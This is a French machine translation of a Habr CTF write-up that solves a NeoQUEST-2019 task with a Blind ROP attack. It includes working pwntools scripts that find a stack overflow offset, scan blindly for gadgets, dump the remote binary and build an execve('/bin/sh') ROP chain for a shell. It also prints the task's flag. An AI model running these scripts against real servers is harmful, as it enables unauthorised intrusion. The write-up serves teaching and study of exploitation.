Serveur, vous m'entendez? Attaque BROP sur l'exemple de la tâche NeoQUEST-2019



Comment trouver une vulnérabilité sur un serveur sans information à ce sujet? En quoi BROP est-il différent de ROP? Est-il possible de télécharger un fichier exécutable à partir d'un serveur via un débordement de tampon? Bienvenue au chat, nous analyserons les réponses à ces questions sur l'exemple de réussite de la tâche NeoQUEST-2019 !

L'adresse et le port du serveur sont donnés : 213.170.100.211 10000 . Essayons de nous y connecter:


À première vue - rien de spécial, un serveur d'écho régulier: renvoie la même chose que nous lui avons envoyée.

Après avoir joué avec la taille des données transmises, vous pouvez remarquer qu'avec une longueur de ligne suffisamment longue, le serveur ne se lève pas et met fin à la connexion:


Hmm, ça ressemble à un débordement.

Trouvez la longueur du tampon. Vous pouvez simplement parcourir les valeurs, les incrémenter, jusqu'à ce que nous obtenions une sortie non standard du serveur. Et vous pouvez montrer un peu d'ingéniosité et accélérer le processus en utilisant la recherche binaire, en vérifiant si le serveur est tombé en panne ou n'est pas tombé après la prochaine requête.

Déterminer la longueur du tampon
from pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end) // 2 print("Testing {}".format(curlen)) payload = b'\xff' * curlen conn.send(payload) time.sleep(0.5) r = conn.recv() payload = b'\xff' * (curlen) conn.send(payload) try: r = conn.recv() start = curlen payload = b'\xff' * (curlen + 1) conn.send(payload) time.sleep(0.5) r = conn.recv() conn.send(payload) try: r = conn.recv() except EOFError: print("\nBuffer length is {}".format(curlen), flush=True) return curlen except EOFError: end = curlen return -1 



Ainsi, la longueur du tampon est de 136. Si vous envoyez 136 octets au serveur, nous effaçons l'octet nul à la fin de notre ligne sur la pile et obtenons les données qui la suivent - la valeur est 0x400155. Et c'est, apparemment, l'adresse de retour. De cette façon, nous pouvons contrôler le flux d'exécution. Mais nous n'avons pas le fichier exécutable lui-même, et nous ne savons pas exactement où se trouvent les gadgets ROP qui nous permettraient d'obtenir le shell.

Que peut-on faire à ce sujet?

Il existe une technique spéciale qui vous permet de résoudre ce type de problème, à condition que l'adresse de retour soit contrôlée - Programmation orientée retour aveugle . En substance, BROP est une analyse aveugle d'un fichier exécutable pour les gadgets. Nous réécrivons l'adresse de retour avec une adresse du segment de texte, définissons les paramètres du gadget souhaité sur la pile et analysons le comportement du programme. Sur la base de l'analyse, une hypothèse est née, que nous ayons deviné ou non. Un rôle important est joué par les gadgets auxiliaires spéciaux - Stop (son exécution n'entraînera pas la fin du programme) et Trap (son exécution entraînera la fin du programme). Ainsi, au début, des gadgets auxiliaires sont trouvés, et avec leur aide, les gadgets nécessaires sont déjà recherchés (en règle générale, afin d'appeler write et d'obtenir le fichier exécutable).

Par exemple, nous voulons trouver un gadget qui place une seule valeur de la pile dans un registre et qui ret . Nous enregistrerons l'adresse testée au lieu de l'adresse de retour afin de lui transférer le contrôle. Après cela, nous notons l'adresse du gadget Trap que nous avons trouvé plus tôt, et derrière elle se trouve l'adresse du gadget Stop . Ce qui se révèle finalement: si le serveur est tombé en panne ( Trap a fonctionné), alors le gadget est situé à l'adresse de test actuelle, qui ne correspond pas à celle recherchée: il ne supprime pas l'adresse du gadget Trap de la pile. Si Stop a fonctionné, le gadget actuel peut être exactement ce que nous recherchons: il a supprimé une valeur de la pile. Ainsi, vous pouvez rechercher des gadgets qui correspondent à un comportement spécifique.


Mais dans ce cas, la recherche peut être simplifiée. Nous savons avec certitude que le serveur nous imprime une certaine valeur en réponse. Vous pouvez essayer d'analyser diverses adresses dans le fichier exécutable et voir si nous arrivons au code qui affiche à nouveau la ligne.

Découverte de gadgets
 lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1) 



Comment obtenir le fichier exécutable en utilisant cette fuite?

Nous savons que le serveur écrit une ligne en réponse. Lorsque nous allons à l'adresse 0x40016f, les paramètres de la fonction de sortie sont remplis d'une sorte de déchets. Puisque, à en juger par l'adresse de retour, nous avons affaire à un fichier exécutable 64 bits, les paramètres des fonctions sont situés dans des registres.

Mais que se passe-t-il si nous trouvons un gadget qui nous permettrait de contrôler le contenu des registres (les y placer depuis la pile)? Essayons de le trouver en utilisant la même technique. Nous pouvons mettre n'importe quelle valeur sur la pile, non? Donc, nous devons trouver un gadget pop qui mettrait notre valeur dans le registre souhaité avant d'appeler la fonction de sortie. Définissez l'adresse du début du fichier ELF ( 0x400000 ) comme adresse de la chaîne. Si nous trouvons le bon gadget, le serveur devra imprimer la signature 7F 45 4C 46 en réponse.


La recherche de gadgets se poursuit
 def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1) 



En utilisant le paquet d'adresses résultant, nous pompons le fichier exécutable du serveur.

Extraction de fichiers
 def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None 


Voyons cela dans l'IDA:


L'adresse 0x40016f nous conduit à syscall , et 0x40017f conduit à pop rsi ; ret .

Maintenant que vous disposez d'un fichier exécutable, vous pouvez créer une chaîne ROP. De plus, la ligne / bin / sh était également dedans !


Nous formons une chaîne qui appelle system avec l'argument / bin / sh . Des informations sur les appels système sous Linux 64 bits peuvent être trouvées, par exemple, ici .

Dernière petite étape
 def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive() 


Exécutez l'exploit et obtenez le shell:


Victoire!

NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433

Très prochainement, des vraytaps apparaîtront pour les autres tâches de la scène en ligne de NeoQUEST-2019. Et la «Confrontation» aura lieu le 26 juin! Des nouvelles apparaîtront sur le site de l' événement, ne manquez pas!

Source: https://habr.com/ru/post/fr446942/


All Articles